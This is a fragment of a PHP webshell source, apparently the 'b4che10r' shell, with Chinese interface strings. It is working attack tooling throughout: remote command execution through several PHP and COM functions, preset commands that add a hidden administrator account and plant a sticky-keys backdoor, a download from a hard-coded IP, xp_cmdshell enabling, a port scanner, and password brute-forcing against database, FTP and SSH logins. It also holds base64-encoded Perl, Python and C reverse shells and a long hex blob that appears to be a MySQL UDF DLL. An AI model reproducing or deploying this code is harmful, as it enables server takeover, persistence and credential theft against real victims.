                '; return true; } function Exec_Run($cmd) { $res = ''; if(function_exists('exec')){@exec($cmd,$res);$res = join("\n",$res);} elseif(function_exists('shell_exec')){$res = @shell_exec($cmd);} elseif(function_exists('system')){@ob_start();@system($cmd);$res = @ob_get_contents();@ob_end_clean();} elseif(function_exists('passthru')){@ob_start();@passthru($cmd);$res = @ob_get_contents();@ob_end_clean();} elseif(@is_resource($f = @popen($cmd,"r"))){$res = '';while(!@feof($f)){$res .= @fread($f,1024);}@pclose($f);} return $res; } function Exec_g() { echo '
                '; $res = '回显窗口'; $cmd = 'dir'; if(!empty($_POST['cmd'])){$res = Exec_Run($_POST['cmd']);$cmd = $_POST['cmd'];} print<< +function sFull(i){ + Str = new Array(11); + Str[0] = "ver"; + Str[1] = "path"; + Str[2] = "ipconfig /all"; + Str[3] = "whoami"; + Str[4] = "tasklist /svc"; + Str[5] = "netstat -an"; + Str[6] = "systeminfo"; + Str[7] = "net user"; + Str[8] = "net view"; + Str[9] = "net config workstation"; + Str[10] = "net config server"; + Str[11] = "net user b4che10r b4che10r /add & net localgroup administrators b4che10r /add"; + Str[12] = "query user"; + Str[13] = "copy c:\\1.php d:\\2.php"; + Str[14] = "copy c:\\windows\\explorer.exe c:\\windows\\system32\\sethc.exe & copy c:\\windows\\system32\\sethc.exe c:\\windows\\system32\\dllcache\\sethc.exe"; + Str[15] = "tftp -i 219.134.46.245 get server.exe c:\\\\server.exe"; + Str[16] = "ps -ef"; + Str[17] = "ifconfig"; + Str[18] = "cat /etc/syslog.conf"; + Str[19] = "cat /etc/my.cnf"; + Str[20] = "cat /etc/hosts"; + Str[21] = "cat /etc/services"; + document.getElementById('cmd').value = Str[i]; + return true; +} + +
                +命令参数: + +
                +
                + +END; +return true; } function Com_h() { $object = isset($_GET['o']) ? $_GET['o'] : 'adodb'; $com = array("adodb" => "ADODB.Connection","wscript" => "WScript.shell","application" => "Shell.Application"); print<<[ADODB.Connection] +[WScript.shell] +[Shell.Application] +
                +

                +END; +$shell = new COM($com[$object]); if($object == 'wscript') { $cmd = isset($_POST['cmd']) ? $_POST['cmd'] : 'dir'; $cmdpath = isset($_POST['cmdpath']) ? $_POST['cmdpath'] : 'c:\\windows\\system32\\cmd.exe'; print<<
                + cmd命令: +
                +END; +if(!empty($_POST['cmd'])) { $exe = @$shell->exec("$cmdpath /c ".$cmd); $out = $exe->StdOut(); $output = $out->ReadAll(); echo '
                '.$output.'
                '; } } elseif($object == 'application') { $run = isset($_POST['run']) ? $_POST['run'] : 'cmd.exe'; $cmd = isset($_POST['cmd']) ? $_POST['cmd'] : 'copy c:\windows\php.ini c:\php.ini'; print<< +

                命令参数:
                +


                +END; +if(!empty($_POST['run'])) echo (@$shell->ShellExecute($run,'/c '.$cmd) == '0') ? '成功' : 'Faild'; } elseif($object == 'adodb') { $string = isset($_POST['string']) ? $_POST['string'] : ''; $sql = isset($_POST['sql']) ? $_POST['sql'] : ''; print<< +function hFull(i){ + if(i==0 || i==10) return false; + Str = new Array(12); + Str[1] = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=\db.mdb;Jet OLEDB:Database Password=***"; + Str[2] = "Driver={Sql Server};Server=localhost,1433;Database=DbName;Uid=sa;Pwd=sa"; + Str[3] = "Driver={MySql};Server=localhost;Port=3306;Database=DbName;Uid=root;Pwd=root"; + Str[4] = "Provider=OraOLEDB.Oracle.1;User ID=oracle;Password=oracle;Data Source=ORACLE;Persist Security Info=True;"; + Str[5] = "driver={IBM db2 odbc DRIVER};database=mydb;hostname=localhost;port=50000;protocol=TCPIP;uid=root; pwd=pass"; + Str[6] = "DRIVER={POSTGRESQL};SERVER=127.0.0.1;DATABASE=PostGreSQL;UID=postgresql;PWD=123456;"; + Str[7] = "Dsn='';Driver={INFORMIX 3.30 32 BIT};Host=myHostname;Server=myServerName;Service=myServiceName;Protocol=olsoctcp;Database=myDbName;UID=myUsername;PWD=myPassword"; + Str[8] = "DSN=mydns;Uid=username;Pwd=password"; + Str[9] = "FILEDNS=c:\\\path\\\db.dsn;Uid=username;Pwd=password"; + Str[11] = "SELECT * FROM [TableName] WHERE ID<100"; + Str[12] = "INSERT INTO [TableName](USER,PASS) VALUES('b4che10r','mypass')"; + Str[13] = "UPDATE [TableName] SET USER='b4che10r' WHERE ID=100"; + Str[14] = "CREATE TABLE [TableName](ID INT IDENTITY (1,1) NOT NULL,USER VARCHAR(50))"; + Str[15] = "DROP TABLE [TableName]"; + Str[16] = "ALTER TABLE [TableName] ADD COLUMN PASS VARCHAR(32)"; + Str[17] = "select shell('c:\windows\system32\cmd.exe /c net user b4che10r abc123 /add');"; + Str[18] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;"; + Str[19] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;"; + Str[20] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;"; + Str[21] = "Use master dbcc addextendedproc ('xp_cmdshell','xplog70.dll')"; + Str[22] = "Use master dbcc addextendedproc ('sp_OACreate','odsole70.dll')"; + Str[23] = "Declare @s int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo '' > c:\info.php';"; + Str[24] = "sp_makewebtask @outputfile='d:\\\web\\\test.php',@charset=gb2312,@query='select test';"; + Str[25] = "Exec master.dbo.xp_cmdshell 'ver';"; + Str[26] = "Select Name FROM Master..SysDatabases;"; + Str[27] = "select name from sysobjects where type='U';"; + Str[28] = "Select Name from SysColumns Where id=Object_Id('TableName');"; + Str[29] = "select username,password from dba_users;"; + Str[30] = "select TABLE_NAME from all_tables;"; + Str[31] = "desc admin;"; + Str[32] = "grant connect,resource,dba to user_name;"; + Str[33] = "select datname from pg_database;"; + Str[34] = "select relname from pg_stat_user_tables;"; + Str[35] = "\\\d table_name"; + Str[36] = "select pg_file_read('pg_hba.conf',1,pg_file_length('pg_hb.conf'));"; + Str[37] = "\\\! uname -a"; + Str[38] = "select schemaname from syscat.schemata;"; + Str[39] = "select name from sysibm.systables;"; + Str[40] = "select colname from syscat.columns where tabname='table_name';"; + Str[41] = "db2 get db cfg for db_name;"; + Str[42] = "select name from sysdatabases;"; + Str[43] = "select tabname from systables where tabid=n;"; + Str[44] = "select tabname,colname,owner,coltype from syscolumns join systables on syscolumns.tabid = systables.tabid;"; + Str[45] = "select username,usertype,password from sysusers;"; + if(i<=9){document.getElementById('string').value = Str[i];}else{document.getElementById('sql').value = Str[i];} + return true; +} + +连接字符串:
                + +

                SQL命令:
                + +
                +END; +if(!empty($string)) { @$shell->Open($string); $result = @$shell->Execute($sql); $count = $result->Fields->Count(); for($i=0;$i < $count;$i++){$Field[$i] = $result->Fields($i);} echo $result ? $sql.' 成功
                ' : $sql.' Faild
                '; if(!empty($count)){while(!$result->EOF){for($i=0;$i < $count;$i++){echo $Field[$i]->value.'
                ';}@$result->MoveNext();}} $shell->Close(); } } $shell = NULL; echo '
                '; return true; } function Port_i() { print<< +
                +扫描 IP
                +

                端 口
                +

                +

                +END; +if((!empty($_POST['ip'])) && (!empty($_POST['port']))) { $ports = explode('|',$_POST['port']); for($i = 0;$i < count($ports);$i++) { $fp = @fsockopen($_POST['ip'],$ports[$i],&$errno,&$errstr,1); echo $fp ? '开放端口 ---> '.$ports[$i].'
                ' : '关闭端口 ---> '.$ports[$i].'
                '; ob_flush(); flush(); } } echo ''; return true; } function shellcode_decode($Url_String,$Oday_value) { $Oday_value = hexdec($Oday_value); $$Url_String = str_replace(" ", "", $Url_String); $SHELL = explode("%u", $Url_String); for($i=0;$i < count($SHELL);$i++) { $Temp = $SHELL[$i]; $s_1 = substr($Temp,2); $s_2 = substr($Temp,0,2); $COPY .= $s_1.$s_2; } for($n=0; $n < strlen($COPY); $n+=2){$Decode .= pack("C", hexdec(substr($COPY, $n, 2) )^ $Oday_value);} return $Decode; } function shellcode_encode($Url_String,$Oday_value) { $Length =strlen($Url_String); $Todec = hexdec($Oday_value); for ($i=0; $i < $Length; $i++) { $Temp = ord($Url_String[$i]); $Hex_Temp = dechex($Temp ^ $Todec); if (hexdec($Hex_Temp) < 16) $Hex_Temp = '0'.$Hex_Temp; $hex .= $Hex_Temp; } if ($Length%2) $hex .= $Oday_value.$Oday_value; else $hex .= $Oday_value.$Oday_value.$Oday_value.$Oday_value; for ($n=0; $n < strlen($hex); $n+=4) { $Temp = substr($hex, $n, 4); $s_1= substr($Temp,2); $s_2= substr($Temp,0,2); $Encode.= '%u'.$s_1.$s_2; } return $Encode; } function shellcode_findxor($Url_String) { for ($i = 0; $i < 256; $i++) { $shellcode[0] = shellcode_decode($Url_String, dechex($i)); if ((strpos ($shellcode[0],'tp:')) || (strpos ($shellcode[0],'url')) || (strpos ($shellcode[0],'exe'))) { $shellcode[1] = dechex($i); return $shellcode; } } } function Shellcode_j() { $Oday_value = '0'; $Shell_Code = 'http://blog.taskkill.net/mm.exe'; $checkeda = ' checked'; $checkedb = ''; if(!empty($_POST['code'])) { if($_POST['xor'] == 'a' && isset($_POST['number'])){$Oday_value = $_POST['number'];$Shell_Code = shellcode_encode($_POST['code'],$Oday_value);} if($_POST['xor'] == 'b'){$checkeda = '';$checkedb = ' checked';$Shell_Code_Array = shellcode_findxor($_POST['code']);$Shell_Code = $Shell_Code_Array[0];$Oday_value = $Shell_Code_Array[1];} if(!$Oday_value) $Oday_value = '0'; if(!$Shell_Code) $Shell_Code = '不能发现shellcode现在链接'; $Shell_Code = htmlspecialchars($Shell_Code); } print<< +
                XOR值:    +编码 shellcode with XOR 解码 shellcode with XOR
                +
                +
                + +END; +return true; } function Crack_k() { $MSG_BOX = '等待消息队列......'; $ROOT_DIR = File_Mode(); $SORTS = explode('/',$ROOT_DIR); array_shift($SORTS); $PASS = join(',',$SORTS); for($i = 0;$i < 10;$i++){$n = (string)$i; $PASS .= $n.$n.$n.$n.$n.$n.','; $PASS .= $n.$n.$n.$n.$n.$n.$n.','; $PASS .= $n.$n.$n.$n.$n.$n.$n.$n.',';} if((!empty($_POST['address'])) && (!empty($_POST['user'])) && (!empty($_POST['pass']))) { $SORTPASS = explode(',',$_POST['pass']); $connect = false; $MSG_BOX = '没有发现'; for($k = 0;$k < count($SORTPASS);$k++) { if($_POST['class'] == 'mysql') $connect = @mysql_connect($_POST['address'],$_POST['user'],chop($SORTPASS[$k])); if($_POST['class'] == 'ftp'){$Ftp_conn = @ftp_connect($_POST['address'],'21');$connect = @ftp_login($Ftp_conn,$_POST['user'],chop($SORTPASS[$k]));} if($_POST['class'] == 'mssql') $connect = @mssql_connect($_POST['address'],$_POST['user'],chop($SORTPASS[$k])); if($_POST['class'] == 'pgsql') $connect = @pg_connect("host={$_POST['address']} port=5432 dbname=postgres user={$_POST['user']} password={chop($SORTPASS[$k])}"); if($_POST['class'] == 'oracle') $connect = @oci_connect($_POST['user'],chop($SORTPASS[$k]),$_POST['address']); if($_POST['class'] == 'ssh'){$ssh_conn = @ssh2_connect($_POST['address'],'22');$connect = @ssh2_auth_password($ssh_conn,$_POST['user'],chop($SORTPASS[$k]));} if($connect) $MSG_BOX = '[project: '.$_POST['class'].'] [ip: '.$_POST['address'].'] [user: '.$_POST['user'].'] [pass: '.$SORTPASS[$k].']'; } } print<< +
                {$MSG_BOX}
                +
                主机
                +
                用户
                +
                密码
                +
                破解项目: Mysql +FTPmssqlPgsqlOracleSSH
                +
                +END; +return true; } function Linux_l() { echo '

                '; print<<
                +你的 IP: +你的 端口: +使用脚本: +

                +END; +if((!empty($_POST['yourip'])) && (!empty($_POST['yourport']))) { if($_POST['use'] == 'perl') { $back_connect_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; echo File_Write('/tmp/b4che10r_pl',base64_decode($back_connect_pl),'wb') ? 'create /tmp/b4che10r_pl success
                ' : 'create /tmp/b4che10r_pl faild
                '; $perlpath = Exec_Run('which perl'); $perlpath = $perlpath ? chop($perlpath) : 'perl'; echo Exec_Run($perlpath.' /tmp/b4che10r_pl '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'execute command faild' : 'execute command successfully'; } if($_POST['use'] == 'python') { $back_connect_py="IyAtKi0gY29kaW5nOnV0Zi04IC0qLQ0KIyEvdXNyL2Jpbi9lbnYgcHl0aG9uDQoiIiINCmJhY2sgY29ubmVjdCBweSB2ZXJzaW9uLG9ubHkgbGludXggaGF2ZS". "BwdHkgbW9kdWxlDQoiIiINCmltcG9ydCBzeXMsb3Msc29ja2V0LHB0eQ0Kc2hlbGwgPSAiL2Jpbi9zaCINCmRlZiB1c2FnZShuYW1lKToNCiAgICBwcmludCAn". "cHl0aG9uIGNvbm5lY3QgYmFja2Rvb3InDQogICAgcHJpbnQgJ3VzYWdlOiAlcyA8aXBfYWRkcj4gPHBvcnQ+JyAlIG5hbWUNCg0KZGVmIG1haW4oKToNCiAgIC". "BpZiBsZW4oc3lzLmFyZ3YpICE9MzoNCiAgICAgICAgdXNhZ2Uoc3lzLmFyZ3ZbMF0pDQogICAgICAgIHN5cy5leGl0KCkNCiAgICBzPXNvY2tldC5zb2NrZXQo". "c29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKQ0KICAgIHRyeToNCiAgICAgICAgcy5jb25uZWN0KChzeXMuYXJndlsxXSxpbnQoc3lzLmFyZ3ZbMl". "0pKSkNCiAgICAgICAgcHJpbnQgJ2Nvbm5lY3Qgb2snDQogICAgZXhjZXB0Og0KICAgICAgICBwcmludCAnY29ubmVjdCBmYWlsZCcNCiAgICAgICAgc3lzLmV4". "aXQoKQ0KICAgIG9zLmR1cDIocy5maWxlbm8oKSwwKQ0KICAgIG9zLmR1cDIocy5maWxlbm8oKSwxKQ0KICAgIG9zLmR1cDIocy5maWxlbm8oKSwyKQ0KICAgIG". "dsb2JhbCBzaGVsbA0KICAgIG9zLnVuc2V0ZW52KCdISVNURklMRScpDQogICAgb3MudW5zZXRlbnYoJ0hJU1RGSUxFU0laRScpDQogICAgcHR5LnNwYXduKHNo". "ZWxsKQ0KICAgIHMuY2xvc2UoKQ0KDQppZiBfX25hbWVfXyA9PSAnX19tYWluX18nOg0KICAgIG1haW4oKQ=="; echo File_Write('/tmp/b4che10r_py',base64_decode($back_connect_py),'wb') ? 'create /tmp/b4che10r_py success
                ' : 'create /tmp/b4che10r_py faild
                '; $pypath = Exec_Run('which python'); $pypath = $pypath ? chop($pypath) : 'python'; echo Exec_Run($pypath.' /tmp/b4che10r_py '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'execute command faild' : 'execute command successfully'; } if($_POST['use'] == 'c') { $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC". "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb". "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd". "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ". "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC". "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D". "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp". "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; echo File_Write('/tmp/b4che10r_bc.c',base64_decode($back_connect_c),'wb') ? 'create /tmp/b4che10r_bc.c success
                ' : 'create /tmp/b4che10r_bc.c faild
                '; $res = Exec_Run('gcc -o /tmp/angel_bc /tmp/angel_bc.c'); @unlink('/tmp/b4che10r_bc.c'); echo Exec_Run('/tmp/b4che10r_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'execute command successfully' : 'execute command faild'; } echo '
                local machine need run (nc -vv -l -p '.$_POST['yourport'].')'; } echo ''; return true; } function Mysql_shellcode() { return "0x4d5a4b45524e454c33322e444c4c00004c6f61644c696272617279410000000047657450726f63416464726573730000557061636b42794477696e6740000000504500004c010200000000000000000000000000e0000e210b0100360090000000100100000000003d9502000010000000a00000000000100010000000020000040000000000000004000000000000000010030000020000000000000200000000001000001000000000100000100000000000001000000009980200dd020000f19702001400000000c001009000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002e557061636b000000b00100001000000000000000000000000000000000000000000000600000e02e727372630000000050010000c00100e6da000000020000000000000000000000000000600000e088010010e89a02101b0000000e000000001000106b970210b7970210ba970210c8970210a3970210fc0f0010de960210e0960210809502101dba0110ed970210ffaf0110d2960210000400007c070000c40b0000b30200006604000090c0011000000000ffffffff01000000010000000100000001000000000000000000000000000000010000008800008018000080000000000000000000000000000002006500000038000080660000006000008000000000000000000000000000000100040800005000000090000100004400000000000000000000000000000000000000000000000001000408000078000000904401005c3c000000000000000000000300420049004e00459398edb4853493541907b2de1fcbd640cd0773df2017d5f39748433f6d90c556f2b1c13f1be3bcb417f756a33186e453b17faf31e8157911b03da9aaf41f2277afffec07571bfae8214b0ff18af2f7c0ad2d95a1ff0f487658e587923bc1ce9d2c2698c74b940c5842bf55c7da2026563c174c45c6c5e08e95b030390ef0886bd124043aed5b1631b138955065fa05fbfcc1c0b81636c51c7f18bccc846ac8305f5c5134fd92a3e9cb2bb5d99ee1e21a6f5d2929597c59b61e8925c1675138746f1f549d1b8a0c35b7dab30b46a401737162d316fb50723e8a98ca5d6d298259015fe6e1c0a402790e15a965807b488c73e6915ffd6e57d333c0d86ef3a562e0bf0bccbe4bc7ccb560bc2df75d593904f638eae6a964c33f4e123a1d3c213b184373bf34c66ed68b368316156e32f6fa63e02add3b03893f73af8abd1099c48c1d0c886314167008ef255d5c2c3539fb781d6d39aa432d654c702f15df0a339530889adfefde4b9df29d2e8fa7e4317fda1b0588a22265eb53c317bc6ea94fa1981968d5a60921ff60f9e9559123aeaa8d1e91e38fb1a2fb1d2075454e8ef226538ed8307db2c99cd396b5c6da829569c3875f317a4bff429b0528d204af4284fc05207901d48e52b386e5d44c69a2e8e3086f137f1d0694ecd619ecc97af83a97d5a0598701b386bd704864c72b3858824fc94082da933d5fadb23ef3dee6528cd4cb2eefe2f2b03d17857940d70222d541b2523f4e7d5b8ee46caba89830d664defb08f798e83818cde2701b8c5d37fc6c5c045ae468efca8b8d5b62b60811c21dae6b86deffa3824e7581435c0bc67555c2d498047554b52d0bfc909911e94ce5d6d3a72659b0ee25f2b40be7d239115256d8c2687afc7e075a2557f974d9130d76e09955235ed4afbc03891d8cc489c8a6f0aa00cfa41ceffd29df70edd17679477c4edd29023c807a55e8dfe614fefe44ad759cfca628d9da21b68e2d6a7ab33d62b175fb858c94158923278f256e96eff885e3eafa12b09ecabfa54d523a3c33270510fd821a0f56e24d3bfaa815a6bd4e2eba52e52a940037728e2cbcd8278fe714384a4bfc887797b071bb440b010a9d0db60cbacee05907b7b08e20dba7f45ffd21265bc47086f8275c1c5071afaeb7ce0336e0a5facf0a7923597c7f4ee7b54512b38608c8ce06acd05cfcdd68ec58f288889ef615623409bc88dd3b09b8be22fcc199755426b4b0704ec21ae1a3e7efe21cf6952456f3743d8d76e1d02e7f7815ea30feb20f279fa9cf827d7618c1c182be35a5ab2eb9f611057b493eff526a75513347a1dce859f1d8d5cc9e842f55f82211b2fa26ce53c5f133afd31531c50324a5429b74fab0746eed031acb0d02344e1b495bca244ae6eba4dcd3da28419a064c22e895880fd2485c3e6861b6e06a4e43959b9d0633774ea85692b12408f6867903f8b9bf790973680440d4822238690617af451d0eebf942d4c98637e9ba092b38dcdc608f330722cc255a4feb5d2a3cb268518ebf43231d9630ac95ae22ff0b8640335febcaf6a3066be83f03673636639e7cb025963d4071886ef072bf9f6f5ad0e0a407734b77320cb1fc6a6a07d14d36403ac1b849eba998b5f64d59ecfa4e30200d84d236a12b1b11acae3e4d74ca5368657f93b4d80cc5356c5537ffab7d3f792a03912a01d94c03f4f097824586708ecc7cbd1db4b7e24a0f2e45121629b9c2bc92716b790246c4a4159fd9e4958fc13a4a72c1d799078d601f3eba6457ae19a68877841d343175f3b692ec219c3a059931421596335af3121670ef9602fce94de822922d7f1c357f7719b2a63de4a0c9b648297326b5a32082462e6bd83457f5c415a418209b4deecbb66f26383d9244f08e0aee60659808dbd2a4744865f6b6a0950ed88138a0c6496245c84d60caabef5facc467f114dd3b695e39fb076887147be54b8ff924aad0e159f4da839d7b67ea764b3e5906ad36bc3c476584bb38b7f009cedab0e6d89bb9ec76e3228e559b69c763bcbe2804dfbc4c6eba24173214dd72f455eaf170e5afc8b7a1ffac801dcd05a53aaef649f67f1d11cf249cdcf2e33a7d93e872d323a836a78be609996b592f3bb5fd8f6b952fd09d66647dcc055aa681b8af88597d510daae5255d2318b9b5e116b83b06c8a644010d677c683684abd9b677ac444ec7163218e4708336b0d12bbb660fe9bc21e49d2efc76d74e26c71d6c945267fd7d664fe5385abc834f661fe715b0924e9c63f5f6c88cb0ee11b44393a9113f6c17d56bd982a00cd4811653669c3a1b9535260742017659cf380fbf76ae37b92863bc94923f3990658db72c9c64bc29d4c2c03ec0c1c74e3558f66092c1d78d710d52a2c96cc6cad8729d9385016b36c9d231986cb60e8cfeb37aacf1205b9cbad985834c8b4b9d435e17dbc94967b5eb3e32e2a0423744951b1a087d85a822663de7a3f9c2253f7366d02e161b9b3a18fdee2946d741d3f2a5b0d0f3217e54d9cc97c8a62abca1b114240cce3576a7131069751af5a280721df185caace01a618f57cd8dc52e03a85048adb2d6f31d9d136817602ee2c38f694e6cb9eb2e830abf46b8a2f4ecf4fbd190e357d774e1dbe9de09650ea97486d41bb406c36d07dfa66c8347720158494c21ef841d6219aa0d3c8dd1cd33c3734e49ee574928bb0b1b28f86f0eced7c8fc50e93868455d6419ed7bffe464315490de54ab89437cd6f9f2e71fd59e4c5863ec3f83e4760edc9bc51a9c55a4b253c7966eb110259221449c131b3b328630ea1da1d8553d05fe6830902950a48d623396edd5280a1bbb165d1eab1a77f157d1b7870c4411850752bab0b6fb688d268901c2d8e456e3ee0614d1dd30a138f33661268fd83eb720f5953c280949f7760372ddfbcfd9fa54ced88fe574da013246aeea3bd41b72c6dbf603adcc21e5b7de44345d2a972ec002761a886b55579b8ff13286f668504c3290d15dbef81b1e96ad946a6466b7128d0ac11fb7fad4fe60b6c70e687c5665827a1ded9326f329c3dacb0dbd25ac1adcdc3eccab7d97db8c55b96afd5504bde724ca1489ef6108b25da9555f78111a6a04c30ae62961ade9cb8c02be27ba9984c0104ab80376719a08047d821b0bf60e1a29a6d7d377760b053ae91bf8057156e5b593a7dc8058f05e2da4ca217cf5be8881e00fa9d1f7a618820a0f0b2ba6175dbca0b6f035bc24ebe83198b5a90ebde91e8954581da67159639f40f37210a1bd8bf14dc987fd37b1a5fe69bda234e6d7f70d9ca0531039f19fd054904eea5b7a52ec468e5345437d0737b1495dc7249ea4cfa6f48c2e3e6158d5f0f1efd1bafb4d7fe0b0dce7ad98e8d3f57bb708a8aea83a0eea3ddc00394dfcdfafd308b6b24fa20c7625d2fcd6a5fae7d273ec98eea794bfe979dc3123ffc32c197bdca6321b57785908e6d19ab6f536a8df7e1e05baded7a4ebc007766c508a13394f51803beea47fac0ed97c25ed9888ddc6dc6219e704c6a132cd04cff7447b2df742108d0272366b11b2c4767464b460251de4ce3ce6d193589d14aec9b97766a6883e4dbf1dca0edf32f8980ebf2f9c935dcc56fa6e0b29798ea458e6edc0af271e6814fa425548e41fc8f641b8ad487a20812e4eb25063746b3d4244b101031580a0119d649ca5f32a68b11e7d5741a5ad7682fa8fafbe5aff113269b9a47923f81d3a028615f8c6e7b38e78e443cb2a49d91c2a7757a99df35aaa71dfd21e0b5591af970e6d2f239ff7e2d76acd9967ad6fc30d460d552f1930461e9b86a92d358618fa3b539029603a3260fc65d57a5909e35777a633d9093911fc636bfe3745a7510cb4633092223f5315f6745a604ac0365abae8968b19677f840b1502e21b638ceffd5075b3d3688eab91379dfeed65beaa5f7ca5b971dbc53c6c000b259dea5d6fd84b2e12090331a45299d807d3c12545f84710d36168ca4f277c8fa3982806faef71d73860b58f8db7a3116af13418100c8e905651b538b5c1853fb194c574a918b8f0426152253ff3db5af8289080fe0d7bf2b9d907c54eb2604d8f4e3865d8c7e8659acd1928182206c0efad42664b6ef473f74d7a8d681273590a487f250c143bd18253c3df904b620f4203757b029d8b41bfbcb9ace3d5e7673386dab5e3e486a3f49bbf89f5a4c67e0c1067c0adf6bbdfa43cd6289c1e45e46fc4f236a708684f9461787a90f6fd9a1f55690bbb3ddfcb94d960c39f58110acd1a4538b6ae85b06e4024610575bc3069a2b90b07e01096854e1e8bd00260bd495f975c8543030031c6fbcd201bf384f27f72af8c9ce354ef66a27fbc04dc0bb34f7a67518575d78bcac95243f1743b0f843f7806d1b6278766e05e90694a328230b378516ece63e46180a0c2d3972674fa8de29c864198e66173bea93f54995bfaa4b1e8638ba111187e26161d23ddbaff9a1dde6c8601b6c1c5e0658a153685de38e7a92a39d34587d67d10da2d7a01e70ac5488b16d0002229154101f0d5f6afd6636f7e376a3d5842861f8c5642b81676a5a3dc14de9bfe1e3011cb9e4cdd6a1afa87e84f86ee792a090f48f9540a23eb0928cf8d9f52a44acba76c827494bb6ef8971f1690d441f0ba8322b5cb15ee105e95ab47f560ecef4d5046c75ded3523549b3a2a0c878906af9ef17bddb57d82a437932d9b6802cf178e34f9c4764054f01902258e7d2317b9a98e78bc273e406d6fd2d33c4270cfd4596fedec01c4f9e6216f73a71e930b208d247dceee69f0d1f55a179c70b69f71c0e8a8b4cfdd89cdb1908d6d96b33d98a26456f79f26c744f9f7508983324cc354c1f20f89480c8c506fa04f59cb8ae99f8bf4ae9ba8b06f6aa052b695aa5da8143eefda5b3a4d65b0333f944861d2d53503236151731f4b262d66597865ffebc3474f3566b56f4ba520e9fd933c304ef9ca43bd6336e9b82e0e76724c1820aa1bc231ae694cf759938c29c210cb676885a65b4ae212f4382788458ea9a136bfc9bfed6f159e0844c4db54a3bac68d95cc91623f7e1476f8f736c131097daf671157f18d67116a2d273fa9e53375955bb7bb6ecb3518e7f05dd9248a1e26607708ab2a67904c44325fbe219e04512da82e93d466fa33a7d00d70d1cd45d650f3bf001bd7a2d0ae1c545fb75fb6af69bbde85e358e272b26dd2ea189db0a41c1131ec3882d5b72e3a643e02527909758ba4bd542746b60d822b35884b828a12b683aa4abd4861f7a249bbc0dbc12559e88c2bce5bf5aa35c0b17c69794abbc5765e7eabca36ebfb7318998f974d42f3df2564e29abe38e7671d25702051346b86fa36f6b71dae27e7506e5a5a790658646ab672bb825857890107e837992ab33ad751963c155d5d85dbca61092accb9e38c4589db3487082068f2dfc818fe05f8ce8a18dfc6716e0466e87d79ad6bf1353b0a34be96416d0f44c44a9563fdbc2c093875a385ecfdc6e11a488964690333669e8dc714957e0e1b3ce29c2309bd17ccc74520cda658381385821f44137a3486a682fcefc2e111d8304264538a64e8acb6e791960342463f970c4d250e154f28b66a5a7011bf7942c04e053804c100e79a1cbc4278f689ab9a3bd4669928bcad4c165644b53695fc7910a2129a872e548de830ef3b7ee255e7b6480f06f9fd895e84e5b5e038ffc0389317e95a79dbe8c95c8b8bcaef5a524abd85da966e905d2db3946d56eee8f5006ce54eea02c035af841bdcf9550942